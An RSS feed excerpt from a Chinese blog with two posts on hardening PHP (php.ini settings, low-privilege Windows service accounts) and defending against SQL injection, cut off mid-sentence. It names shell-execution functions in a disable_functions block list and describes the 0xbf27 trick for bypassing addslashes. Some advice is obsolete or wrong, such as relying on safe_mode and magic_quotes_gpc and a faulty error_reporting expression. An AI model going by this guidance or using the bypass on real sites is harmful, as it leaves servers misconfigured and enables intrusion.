﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-xiaomage234-随笔分类-php</title><link>http://www.blogjava.net/xiaomage234/category/35231.html</link><description>生命本就是一次凄美的漂流，记忆中放不下的，永远是孩提时代的那一份浪漫与纯真！</description><language>zh-cn</language><lastBuildDate>Thu, 17 Sep 2015 07:02:01 GMT</lastBuildDate><pubDate>Thu, 17 Sep 2015 07:02:01 GMT</pubDate><ttl>60</ttl><item><title>PHP.INI安全配置</title><link>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427365.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 17 Sep 2015 02:14:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427365.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/427365.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427365.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/427365.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/427365.html</trackback:ping><description><![CDATA[<span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(1) 打开php的安全模式</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　php的安全模式是个非常重要的内嵌的安全机制，能够控制一些php中的函数，比如system()，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　同时把很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件，比如/etc/passwd，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　但是默认的php.ini是没有打开安全模式的，我们把它打开：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode = on</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(2) 用户组安全</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　当safe_mode打开时，safe_mode_gid被关闭，那么php脚本能够对文件进行访问，而且相同</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　组的用户也能够对文件进行访问。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　建议设置为：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode_gid = off</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果不进行设置，可能我们无法对我们服务器网站目录下的文件进行操作了，比如我们需要</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　对文件进行操作的时候。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(3) 安全模式下执行程序主目录</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果安全模式打开了，但是却是要执行某些程序的时候，可以指定要执行程序的主目录：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode_exec_dir = D:/usr/bin</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　一般情况下是不需要执行什么程序的，所以推荐不要执行系统程序目录，可以指向一个目录，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　然后把需要执行的程序拷贝过去，比如：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode_exec_dir = D:/tmp/cmd</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　但是，我更推荐不要执行任何程序，那么就可以指向我们网页目录：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode_exec_dir = D:/usr/www</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(4) 安全模式下包含文件</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果要在安全模式下包含某些公共文件，那么就修改一下选项：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　safe_mode_include_dir = D:/usr/www/include/</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　其实一般php脚本中包含文件都是在程序自己已经写好了，这个可以根据具体需要设置。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(5) 控制php脚本能访问的目录</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　不应该访问的文件，一定程度上限制了phpshell的危害，我们一般可以设置为只能访问网站目录：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　open_basedir = D:/usr/www</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(6) 关闭危险函数</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果打开了安全模式，那么函数禁止是可以不需要的，但是我们为了安全还是考虑进去。比如，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　我们觉得不希望执行包括system()等在那的能够执行命令的php函数，或者能够查看php信息的</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　phpinfo()等函数，那么我们就可以禁止它们：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">disable_functions = system,passthru,exec,shell_exec,popen,phpinfo,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,show_source,get_cfg_var</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果你要禁止任何文件和目录的操作，那么可以关闭很多文件操作</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, 　　rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　以上只是列了部分不叫常用的文件处理函数，你也可以把上面执行命令函数和这个函数结合，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　就能够抵制大部分的phpshell了。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(7) 关闭PHP版本信息在http头中的泄漏</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　我们为了防止黑客获取服务器中php版本的信息，可以关闭该信息斜路在http头中：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　expose_php = Off</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　比如黑客在 telnet www.12345.com 80 的时候，那么将无法看到PHP的信息。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(8) 关闭注册全局变量</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　在PHP中提交的变量，包括使用POST或者GET提交的变量，都将自动注册为全局变量，能够直接访问，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　这是对服务器非常不安全的，所以我们不能让它注册为全局变量，就把注册全局变量选项关闭：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　register_globals = Off</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　当然，如果这样设置了，那么获取对应变量的时候就要采用合理方式，比如获取GET提交的变量var，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　那么就要用$_GET['var']来进行获取，这个php程序员要注意。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(9) 打开magic_quotes_gpc来防止SQL注入</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　SQL注入是非常危险的问题，小则网站后台被入侵，重则整个服务器沦陷，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　所以一定要小心。php.ini中有一个设置：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　magic_quotes_gpc = Off</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　比如把 ' 转为 \'等，这对防止sql注射有重大作用。所以我们推荐设置为：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　magic_quotes_gpc = On</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(10) 错误信息控制</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　一般php在没有连接到数据库或者其他情况下会有提示错误，一般错误信息中会包含php脚本当</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　前的路径信息或者查询的SQL语句等信息，这类信息提供给黑客后，是不安全的，所以一般服务器建议禁止错误提示：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　display_errors = Off</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　如果你却是是要显示错误信息，一定要设置显示错误的级别，比如只显示警告以上的信息：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　error_reporting = E_WARNING &amp; E_ERROR</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　当然，我还是建议关闭错误提示。</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">(11) 错误日志</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　建议在关闭display_errors后能够把错误信息记录下来，便于查找服务器运行的原因：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">log_errors = On</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　同时也要设置错误日志存放的目录，建议根apache的日志存在一起：</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　error_log = D:/usr/local/apache2/logs/php_error.log</span><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><br style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;" /><span style="font-family: 'black Verdana', Arial, Helvetica, sans-serif; background-color: #ffffff;">　　注意：给文件必须允许apache用户的和组具有写的权限。</span><img src ="http://www.blogjava.net/xiaomage234/aggbug/427365.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2015-09-17 10:14 <a href="http://www.blogjava.net/xiaomage234/archive/2015/09/17/427365.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>php中防止SQL注入的方法</title><link>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427364.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Thu, 17 Sep 2015 02:09:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427364.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/427364.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2015/09/17/427364.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/427364.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/427364.html</trackback:ping><description><![CDATA[<p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding: 0px; border: 0px; list-style: none; word-wrap: normal; word-break: normal; color: #464646; font-family: simsun; background-color: #bcd3e5;"><strong>【一、在服务器端配置】</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding: 0px; border: 0px; list-style: none; word-wrap: normal; word-break: normal; color: #464646; font-family: simsun; background-color: #bcd3e5;">&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;安全，PHP代码编写是一方面，PHP的配置更是非常关键。<br /><br />我们php手手工安装的，php的默认配置文件在 /usr/local/apache2/conf/php.ini，我们最主要就是要配置php.ini中的内容，让我们执行 php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击，一下我们慢慢探讨。我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini，如果你是采用其他方式安装，配置文件可能不在该目录。<br /><br />(1) 打开php的安全模式<br /><br />php的安全模式是个非常重要的内嵌的安全机制，能够控制一些php中的函数，比如system()，<br /><br />同时把很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件，比如/etc/passwd，<br /><br />但是默认的php.ini是没有打开安全模式的，我们把它打开：<br /><br />safe_mode = on<br /><br />(2) 用户组安全<br /><br />当safe_mode打开时，safe_mode_gid被关闭，那么php脚本能够对文件进行访问，而且相同<br /><br />组的用户也能够对文件进行访问。<br /><br />建议设置为：<br /><br />safe_mode_gid = off<br /><br />如果不进行设置，可能我们无法对我们服务器网站目录下的文件进行操作了，比如我们需要<br /><br />对文件进行操作的时候。<br /><br />(3) 安全模式下执行程序主目录<br /><br />如果安全模式打开了，但是却是要执行某些程序的时候，可以指定要执行程序的主目录：<br /><br />safe_mode_exec_dir = D:/usr/bin<br /><br />一般情况下是不需要执行什么程序的，所以推荐不要执行系统程序目录，可以指向一个目录，<br /><br />然后把需要执行的程序拷贝过去，比如：<br /><br />safe_mode_exec_dir = D:/tmp/cmd<br /><br />但是，我更推荐不要执行任何程序，那么就可以指向我们网页目录：<br /><br />safe_mode_exec_dir = D:/usr/www<br /><br />(4) 安全模式下包含文件<br /><br />如果要在安全模式下包含某些公共文件，那么就修改一下选项：<br /><br />safe_mode_include_dir = D:/usr/www/include/<br /><br />其实一般php脚本中包含文件都是在程序自己已经写好了，这个可以根据具体需要设置。<br /><br />(5) 控制php脚本能访问的目录<br /><br />使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问<br /><br />不应该访问的文件，一定程度上限制了phpshell的危害，我们一般可以设置为只能访问网站目录：<br /><br />open_basedir = D:/usr/www<br /><br />(6) 关闭危险函数<br /><br />如果打开了安全模式，那么函数禁止是可以不需要的，但是我们为了安全还是考虑进去。比如，<br /><br />我们觉得不希望执行包括system()等在那的能够执行命令的php函数，或者能够查看php信息的<br /><br />phpinfo()等函数，那么我们就可以禁止它们：<br /><br />disable_functions = system,passthru,exec,shell_exec,popen,phpinfo<br /><br />如果你要禁止任何文件和目录的操作，那么可以关闭很多文件操作<br /><br />disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown<br /><br />以上只是列了部分不叫常用的文件处理函数，你也可以把上面执行命令函数和这个函数结合，<br /><br />就能够抵制大部分的phpshell了。<br /><br />(7) 关闭PHP版本信息在http头中的泄漏<br /><br />我们为了防止黑客获取服务器中php版本的信息，可以关闭该信息斜路在http头中：<br /><br />expose_php = Off<br /><br />比如黑客在 telnet www.12345.com 80 的时候，那么将无法看到PHP的信息。<br /><br />(8) 关闭注册全局变量<br /><br />在PHP中提交的变量，包括使用POST或者GET提交的变量，都将自动注册为全局变量，能够直接访问，<br /><br />这是对服务器非常不安全的，所以我们不能让它注册为全局变量，就把注册全局变量选项关闭：<br /><br />register_globals = Off<br /><br />当然，如果这样设置了，那么获取对应变量的时候就要采用合理方式，比如获取GET提交的变量var，<br /><br />那么就要用$_GET['var']来进行获取，这个php程序员要注意。<br /><br />(9) 打开magic_quotes_gpc来防止SQL注入<br /><br />SQL注入是非常危险的问题，小则网站后台被入侵，重则整个服务器沦陷，<br /><br />所以一定要小心。php.ini中有一个设置：<br /><br />magic_quotes_gpc = Off<br /><br />这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，<br /><br />比如把 ' 转为 \'等，这对防止sql注射有重大作用。所以我们推荐设置为：<br /><br />magic_quotes_gpc = On<br /><br />(10) 错误信息控制<br /><br />一般php在没有连接到数据库或者其他情况下会有提示错误，一般错误信息中会包含php脚本当<br /><br />前的路径信息或者查询的SQL语句等信息，这类信息提供给黑客后，是不安全的，所以一般服务器建议禁止错误提示：<br /><br />display_errors = Off<br /><br />如果你却是是要显示错误信息，一定要设置显示错误的级别，比如只显示警告以上的信息：<br /><br />error_reporting = E_WARNING &amp; E_ERROR<br /><br />当然，我还是建议关闭错误提示。<br /><br />(11) 错误日志<br /><br />建议在关闭display_errors后能够把错误信息记录下来，便于查找服务器运行的原因：<br /><br />log_errors = On<br /><br />同时也要设置错误日志存放的目录，建议根apache的日志存在一起：<br /><br />error_log = D:/usr/local/apache2/logs/php_error.log<br /><br />注意：给文件必须允许apache用户的和组具有写的权限。<br /><br />MYSQL的降权运行<br /><br />新建立一个用户比如mysqlstart<br /><br />net user mysqlstart fuckmicrosoft /add<br /><br />net localgroup users mysqlstart /del<br /><br />不属于任何组<br /><br />如果MYSQL装在d:\mysql ，那么，给 mysqlstart 完全控制 的权限<br /><br />然后在系统服务中设置，MYSQL的服务属性，在登录属性当中，选择此用户 mysqlstart 然后输入密码，确定。<br /><br />重新启动 MYSQL服务，然后MYSQL就运行在低权限下了。<br /><br />如果是在windos平台下搭建的apache我们还需要注意一点，apache默认运行是system权限，<br /><br />这很恐怖，这让人感觉很不爽.那我们就给apache降降权限吧。<br /><br />net user apache fuckmicrosoft /add<br /><br />net localgroup users apache /del<br /><br />ok.我们建立了一个不属于任何组的用户apche。<br /><br />我们打开计算机管理器，选服务，点apache服务的属性，我们选择log on，选择this account，我们填入上面所建立的账户和密码，<br /><br />重启apache服务，ok，apache运行在低权限下了。<br /><br />实际上我们还可以通过设置各个文件夹的权限，来让apache用户只能执行我们想让它能干的事情，给每一个目录建立一个单独能读写的用户。<br /><br />这也是当前很多虚拟主机提供商的流行配置方法哦，不过这种方法用于防止这里就显的有点大材小用了。&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding: 0px; border: 0px; list-style: none; word-wrap: normal; word-break: normal; color: #464646; font-family: simsun; background-color: #bcd3e5;"><br /><strong>【二、在PHP代码编写】</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding: 0px; border: 0px; list-style: none; word-wrap: normal; word-break: normal; color: #464646; font-family: simsun; background-color: #bcd3e5;">&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入，还是建议大家加强中文防止SQL注入的检查。addslashes的问题在于黑客可以用0xbf27来代替单引号，而addslashes只是将0xbf27修改为0xbf5c27，成为一个有效的多字节字符，其中的0xbf5c仍会被看作是单引号，所以addslashes无法成功拦截。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;当然addslashes也不是毫无用处，它是用于单字节字符串的处理，多字节字符还是用mysql_real_escape_string吧。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;另外对于php手册中get_magic_quotes_gpc的举例：<br />if (!get_magic_quotes_gpc()) {<br />$lastname = addslashes($_POST[&#8216;lastname&#8217;]);<br />} else {<br />$lastname = $_POST[&#8216;lastname&#8217;];<br />}</p><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding: 0px; border: 0px; list-style: none; word-wrap: normal; word-break: normal; color: #464646; font-family: simsun; background-color: #bcd3e5;">最好对magic_quotes_gpc已经开放的情况下，还是对$_POST[&#8217;lastname&#8217;]进行检查一下。<br />再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别：<br 